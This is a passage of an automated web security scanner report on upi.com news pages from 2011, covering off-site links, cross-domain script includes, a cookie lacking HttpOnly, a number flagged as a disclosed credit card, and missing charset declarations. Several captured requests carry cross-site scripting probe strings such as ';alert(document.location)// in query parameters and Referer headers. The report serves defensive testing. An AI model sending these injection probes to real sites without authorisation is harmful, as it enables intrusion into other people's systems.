<a target="_blank" href="http://www.allamericanspeakers.com">Celebrity Keynote Speakers Bureau</a> -
<a target="_blank" href="http://www.dealerfinder.com">Auto Dealers</a>
...[SNIP]...
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-7ei3bMfykgqsA.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
...[SNIP]...

6.2. http://www.upi.com/Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/

Issue detail

The page was loaded from a URL containing a query string:

http://www.upi.com/Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/?pvn=1

The response contains the following links to other domains:

http://fk.cm/6259481
http://fk.cm/6259658
http://fk.cm/6259744
http://fk.cm/6259746
http://fk.cm/6259756
http://fk.cm/6260185
http://itunes.apple.com/us/app/upi-fwix-news/id334824242?mt=8
http://partner.googleadservices.com/gampad/google_service.js
http://pixel.quantserve.com/pixel/p-7ei3bMfykgqsA.gif
http://platform.twitter.com/widgets.js
http://twitter.com/share
http://twitter.com/upi_top
http://upi.dealon.com/
http://www.allamericanspeakers.com/
http://www.dealerfinder.com/
http://www.facebook.com/UnitedPress
http://www.upiu.com/
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

GET /Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/?pvn=1 HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:21 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 59259
Date: Fri, 03 Jun 2011 01:27:21 GMT
X-Varnish: 794782908
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>Food Pyramid out, half-plate of produce in - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="The U.S. governme
...[SNIP]...
</script>
   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
...[SNIP]...
</script>


           <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...
</a>  |  
                   <a href="http://www.upiu.com/" target="_blank" title="UPIU - University Media Alliance">UPIU</a>
...[SNIP]...
<li><a href="http://upi.dealon.com" target="_blank">Deals</a>
...[SNIP]...
1307052474%2F&t=Food+Pyramid+out%2C+half-plate+of+produce+in+-+UPI.com&src=sp', 'fb_share', 'width=700,height=600,scrollbars=yes,resizable=yes');" style="cursor: pointer; margin-right: 11px;">
                               <a href="http://twitter.com/share" class="twitter-share-button" data-count="" data-via="upi_top" data-related="OddNewsUPI:UPI_sports">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</a>
       <a href="http://itunes.apple.com/us/app/upi-fwix-news/id334824242?mt=8" target="_blank" alt="UPI iPhone App" title="UPI iPhone App"><img src="http://www.upi.com/img/clear.gif" class="icon iphone" alt="UPI iPhone App" title="UPI iPhone App"></a>
       <a href="http://www.facebook.com/UnitedPress" target="_blank" alt="UPI Facebook Page" title="UPI Facebook Page"><img src="http://www.upi.com/img/clear.gif" class="icon facebook" alt="UPI Facebook Page" title="UPI Facebook Page"></a>
       <a href="http://twitter.com/upi_top" target="_blank" alt="UPI Twitter Feed" title="UPI Twitter Feed"><img src="http://www.upi.com/img/clear.gif" class="icon twitter" alt="UPI Twitter Feed" title="UPI Twitter Feed">
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6260185" class="ulink" title="NYC hipsters either angry or apathetic that they're about to lose their palindromic 11211 zip code">NYC hipsters either angry or apathetic that they're about to lose their palindromic 11211 zip code...</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259658" class="ulink" title="In a move to be celebrated in bars everywhere, Customs Agents seize 1,900 karaoke machines">In a move to be celebrated in bars everywhere, Customs Agents seize 1,900 karaoke machines</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259746" class="ulink" title="Incident with crazy glue gets man stuck in jail">Incident with crazy glue gets man stuck in jail</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259744" class="ulink" title="Sachs and Stanley just got the best Groupon deal ever. Shares for $.0001 each">Sachs and Stanley just got the best Groupon deal ever. Shares for $.0001 each</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259481" class="ulink" title="In Florida it is illegal to feed homeless people">In Florida it is illegal to feed homeless people</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259756" class="ulink" title="Long Island teen killed after falling into Long Island">Long Island teen killed after falling into Long Island</a>
...[SNIP]...
<div class="sponsored_links">Resources:
           <a target="_blank" href="http://www.dealerfinder.com">Auto Dealers</a> -
<a target="_blank" href="http://www.allamericanspeakers.com">Celebrity Keynote Speakers Bureau</a>
...[SNIP]...
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-7ei3bMfykgqsA.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
...[SNIP]...

6.3. http://www.upi.com/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/

Issue detail

The page was loaded from a URL containing a query string:

http://www.upi.com/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/?spt=hs&or=tn

The response contains the following links to other domains:

http://fk.cm/6259481
http://fk.cm/6259658
http://fk.cm/6259744
http://fk.cm/6259746
http://fk.cm/6259756
http://fk.cm/6260185
http://itunes.apple.com/us/app/upi-fwix-news/id334824242?mt=8
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://pixel.quantserve.com/pixel/p-7ei3bMfykgqsA.gif
http://platform.twitter.com/widgets.js
http://twitter.com/share
http://twitter.com/upi_top
http://upi.dealon.com/
http://www.allamericanspeakers.com/
http://www.dealerfinder.com/
http://www.facebook.com/UnitedPress
http://www.portland-personal-injury.com/
http://www.upiu.com/
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

GET /Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/?spt=hs&or=tn HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) PHP/5.3.6
X-Powered-By: PHP/5.3.6
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:29:17 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 62517
Date: Fri, 03 Jun 2011 01:27:18 GMT
X-Varnish: 1334565713 1334563718
Age: 61
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>Joplin tornado death toll at 138 - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="With all citizens accounted
...[SNIP]...
</script>
   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
...[SNIP]...
</script>


           <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...
</a>  |  
                   <a href="http://www.upiu.com/" target="_blank" title="UPIU - University Media Alliance">UPIU</a>
...[SNIP]...
<li><a href="http://upi.dealon.com" target="_blank">Deals</a>
...[SNIP]...
8%2FUPI-44341307053669%2F&t=Joplin+tornado+death+toll+at+138+-+UPI.com&src=sp', 'fb_share', 'width=700,height=600,scrollbars=yes,resizable=yes');" style="cursor: pointer; margin-right: 11px;">
                               <a href="http://twitter.com/share" class="twitter-share-button" data-count="" data-via="upi_top" data-related="OddNewsUPI:UPI_sports">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</a>
       <a href="http://itunes.apple.com/us/app/upi-fwix-news/id334824242?mt=8" target="_blank" alt="UPI iPhone App" title="UPI iPhone App"><img src="http://www.upi.com/img/clear.gif" class="icon iphone" alt="UPI iPhone App" title="UPI iPhone App"></a>
       <a href="http://www.facebook.com/UnitedPress" target="_blank" alt="UPI Facebook Page" title="UPI Facebook Page"><img src="http://www.upi.com/img/clear.gif" class="icon facebook" alt="UPI Facebook Page" title="UPI Facebook Page"></a>
       <a href="http://twitter.com/upi_top" target="_blank" alt="UPI Twitter Feed" title="UPI Twitter Feed"><img src="http://www.upi.com/img/clear.gif" class="icon twitter" alt="UPI Twitter Feed" title="UPI Twitter Feed">
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6260185" class="ulink" title="NYC hipsters either angry or apathetic that they're about to lose their palindromic 11211 zip code">NYC hipsters either angry or apathetic that they're about to lose their palindromic 11211 zip code...</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259658" class="ulink" title="In a move to be celebrated in bars everywhere, Customs Agents seize 1,900 karaoke machines">In a move to be celebrated in bars everywhere, Customs Agents seize 1,900 karaoke machines</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259746" class="ulink" title="Incident with crazy glue gets man stuck in jail">Incident with crazy glue gets man stuck in jail</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259744" class="ulink" title="Sachs and Stanley just got the best Groupon deal ever. Shares for $.0001 each">Sachs and Stanley just got the best Groupon deal ever. Shares for $.0001 each</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259481" class="ulink" title="In Florida it is illegal to feed homeless people">In Florida it is illegal to feed homeless people</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259756" class="ulink" title="Long Island teen killed after falling into Long Island">Long Island teen killed after falling into Long Island</a>
...[SNIP]...
<div class="sponsored_links">Resources:
           <a target="_blank" href="http://www.allamericanspeakers.com">Celebrity Keynote Speakers Bureau</a> -
<a target="_blank" href="http://www.portland-personal-injury.com">Portland Personal Injury</a> -
<a target="_blank" href="http://www.dealerfinder.com">Auto Dealers</a>
...[SNIP]...
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-7ei3bMfykgqsA.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
...[SNIP]...

6.4. http://www.upi.com/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/

Issue detail

The page was loaded from a URL containing a query string:

http://www.upi.com/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/?spt=hs&or=tn

The response contains the following links to other domains:

http://fk.cm/6259481
http://fk.cm/6259658
http://fk.cm/6259744
http://fk.cm/6259746
http://fk.cm/6259756
http://fk.cm/6260185
http://itunes.apple.com/us/app/upi-fwix-news/id334824242?mt=8
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://pixel.quantserve.com/pixel/p-7ei3bMfykgqsA.gif
http://platform.twitter.com/widgets.js
http://twitter.com/share
http://twitter.com/upi_top
http://upi.dealon.com/
http://www.allamericanspeakers.com/
http://www.dealerfinder.com/
http://www.facebook.com/UnitedPress
http://www.portland-personal-injury.com/
http://www.upiu.com/
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

GET /Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/?spt=hs&or=tn HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) PHP/5.3.5
X-Powered-By: PHP/5.3.5
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:17 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 64260
Date: Fri, 03 Jun 2011 01:27:17 GMT
X-Varnish: 1334565683 1334565655
Age: 1
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>Obama: Cut deficit, preserve Medicare - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="U.S. President Barack
...[SNIP]...
</script>
   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
...[SNIP]...
</script>


           <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...
</a>  |  
                   <a href="http://www.upiu.com/" target="_blank" title="UPIU - University Media Alliance">UPIU</a>
...[SNIP]...
<li><a href="http://upi.dealon.com" target="_blank">Deals</a>
...[SNIP]...
6591307058766%2F&t=Obama%3A+Cut+deficit%2C+preserve+Medicare+-+UPI.com&src=sp', 'fb_share', 'width=700,height=600,scrollbars=yes,resizable=yes');" style="cursor: pointer; margin-right: 11px;">
                               <a href="http://twitter.com/share" class="twitter-share-button" data-count="" data-via="upi_top" data-related="OddNewsUPI:UPI_sports">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</a>
       <a href="http://itunes.apple.com/us/app/upi-fwix-news/id334824242?mt=8" target="_blank" alt="UPI iPhone App" title="UPI iPhone App"><img src="http://www.upi.com/img/clear.gif" class="icon iphone" alt="UPI iPhone App" title="UPI iPhone App"></a>
       <a href="http://www.facebook.com/UnitedPress" target="_blank" alt="UPI Facebook Page" title="UPI Facebook Page"><img src="http://www.upi.com/img/clear.gif" class="icon facebook" alt="UPI Facebook Page" title="UPI Facebook Page"></a>
       <a href="http://twitter.com/upi_top" target="_blank" alt="UPI Twitter Feed" title="UPI Twitter Feed"><img src="http://www.upi.com/img/clear.gif" class="icon twitter" alt="UPI Twitter Feed" title="UPI Twitter Feed">
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6260185" class="ulink" title="NYC hipsters either angry or apathetic that they're about to lose their palindromic 11211 zip code">NYC hipsters either angry or apathetic that they're about to lose their palindromic 11211 zip code...</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259658" class="ulink" title="In a move to be celebrated in bars everywhere, Customs Agents seize 1,900 karaoke machines">In a move to be celebrated in bars everywhere, Customs Agents seize 1,900 karaoke machines</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259746" class="ulink" title="Incident with crazy glue gets man stuck in jail">Incident with crazy glue gets man stuck in jail</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259744" class="ulink" title="Sachs and Stanley just got the best Groupon deal ever. Shares for $.0001 each">Sachs and Stanley just got the best Groupon deal ever. Shares for $.0001 each</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259481" class="ulink" title="In Florida it is illegal to feed homeless people">In Florida it is illegal to feed homeless people</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259756" class="ulink" title="Long Island teen killed after falling into Long Island">Long Island teen killed after falling into Long Island</a>
...[SNIP]...
<div class="sponsored_links">Resources:
           <a target="_blank" href="http://www.allamericanspeakers.com">Celebrity Keynote Speakers Bureau</a> -
<a target="_blank" href="http://www.portland-personal-injury.com">Portland Personal Injury</a> -
<a target="_blank" href="http://www.dealerfinder.com">Auto Dealers</a>
...[SNIP]...
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-7ei3bMfykgqsA.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
...[SNIP]...

7. Cross-domain script include previous next
There are 6 instances of this issue:

/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/
/Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/
/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/
/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/
/Top_News/US/2011/06/02/Octomom-doctor-has-license-revoked/UPI-19881307042638/
/interclick.htm

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

7.1. http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://platform.twitter.com/widgets.js
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

Response

7.2. http://www.upi.com/Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/

Issue detail

The response dynamically includes the following scripts from other domains:

http://partner.googleadservices.com/gampad/google_service.js
http://platform.twitter.com/widgets.js
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

GET /Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/ HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:28:04 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 59259
Date: Fri, 03 Jun 2011 01:27:21 GMT
X-Varnish: 794782890 794778188
Age: 137
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>Food Pyramid out, half-plate of produce in - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="The U.S. governme
...[SNIP]...
</script>
   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
...[SNIP]...
</script>


           <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...

7.3. http://www.upi.com/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://platform.twitter.com/widgets.js
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

Response

7.4. http://www.upi.com/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://platform.twitter.com/widgets.js
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

Response

7.5. http://www.upi.com/Top_News/US/2011/06/02/Octomom-doctor-has-license-revoked/UPI-19881307042638/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Octomom-doctor-has-license-revoked/UPI-19881307042638/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://platform.twitter.com/widgets.js
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

GET /Top_News/US/2011/06/02/Octomom-doctor-has-license-revoked/UPI-19881307042638/ HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) PHP/5.3.6
X-Powered-By: PHP/5.3.6
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:29:57 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 60523
Date: Fri, 03 Jun 2011 01:27:19 GMT
X-Varnish: 1334565737 1334565018
Age: 22
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>'Octomom' doctor has license revoked - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="The California Medical
...[SNIP]...
</script>
   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
...[SNIP]...
</script>


           <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

7.6. http://www.upi.com/interclick.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/interclick.htm

Issue detail

The response dynamically includes the following script from another domain:

http://a1.interclick.com/getInPageJS.aspx?a=51&b=50177&cid=633899115483039292

Request

GET /interclick.htm HTTP/1.1
Host: www.upi.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://pubads.g.doubleclick.net/gampad/ads?correlator=1307064610289&output=html&impl=ifr&client=ca-pub-8092808895818477&slotname=UPI_Business_News_300x250_right&page_slots=UPI_Business_News_728x90_top%2CUPI_Business_News_300x250_right&cookie=ID%3D4668bd5b9ab96c55%3AT%3D1307064610%3AS%3DALNI_MYMW80dRWn21ndcBYryUC99SJHuhQ&cookie_enabled=1&url=http%3A%2F%2Fwww.upi.com%2FBusiness_News%2F2011%2F06%2F02%2FFor-Goldman-a-subpoena-business-as-usual%2FUPI-97441307044985%2F%3Fspt%3Dhs%26or%3Dbnf0944%2527%253balert(document.location)%2F%2Fe454f85ac0e&ref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&lmt=1307064603&dt=1307064622933&cc=100&biw=988&bih=584&ifi=3&adk=1538746076&u_tz=-300&u_his=8&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=24&u_nplug=6&u_nmime=40&flash=0&gads=v2&ga_vid=1340791912.1307064613&ga_sid=1307064613&ga_hid=638695462
Cookie: __gads=ID=4668bd5b9ab96c55:T=1307064610:S=ALNI_MYMW80dRWn21ndcBYryUC99SJHuhQ; upi_acn[accounts]=602791; __qca=P0-1611880009-1307064632682

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) PHP/5.3.6
Last-Modified: Thu, 24 Mar 2011 19:17:34 GMT
ETag: "3ff1f84-24b-49f3f545d4f80"
Content-Type: text/html
Content-Length: 587
Date: Fri, 03 Jun 2011 01:30:48 GMT
X-Varnish: 794790680 794789603
Age: 26
Via: 1.1 varnish
Connection: keep-alive







<script src="http://a1.interclick.com/getInPageJS.aspx?a=51&b=50177&cid=633899115483039292"> </script>
...[SNIP]...

8. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/img/acn.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

upi_acn[accounts]=521460; path=/; domain=.upi.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

9. Credit card numbers disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/

Issue detail

The following credit card number was disclosed in the response:

4071306528172

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

Request

Response

10. HTML does not specify charset previous next
There are 5 instances of this issue:

/interclick.htm
/ss/em/more/News/
/ss/em/more/Photos_of_the_Day/
/upi_comments/form
/upi_comments/io

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

10.1. http://www.upi.com/interclick.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/interclick.htm

Request

Response

10.2. http://www.upi.com/ss/em/more/News/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/ss/em/more/News/

Request

GET /ss/em/more/News/?_=1307064745911 HTTP/1.1
Host: www.upi.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.upi.com/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/?spt=hs227f3%27%3balert(1)//ef5be9b3d9a&or=tn
Cookie: __gads=ID=4668bd5b9ab96c55:T=1307064610:S=ALNI_MYMW80dRWn21ndcBYryUC99SJHuhQ; upi_acn[accounts]=840663; __qca=P0-1611880009-1307064632682; _chartbeat2=wuvbohtx1ngfplld

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Content-Type: text/html
Content-Length: 7024
Date: Fri, 03 Jun 2011 01:32:28 GMT
X-Varnish: 794794503
Age: 0
Via: 1.1 varnish
Connection: keep-alive


       <div class="pad4">
           <div class="scroll_d"> </div>
               <div style="float: left; width: 517px;">
                   <div class="item">
               <div class="thumbnail"><div class="content"><div id="Mitt-Romney-
...[SNIP]...

10.3. http://www.upi.com/ss/em/more/Photos_of_the_Day/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/ss/em/more/Photos_of_the_Day/

Request

GET /ss/em/more/Photos_of_the_Day/?_=1307064622713 HTTP/1.1
Host: www.upi.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs&or=bnf0944%27%3balert(document.location)//e454f85ac0e
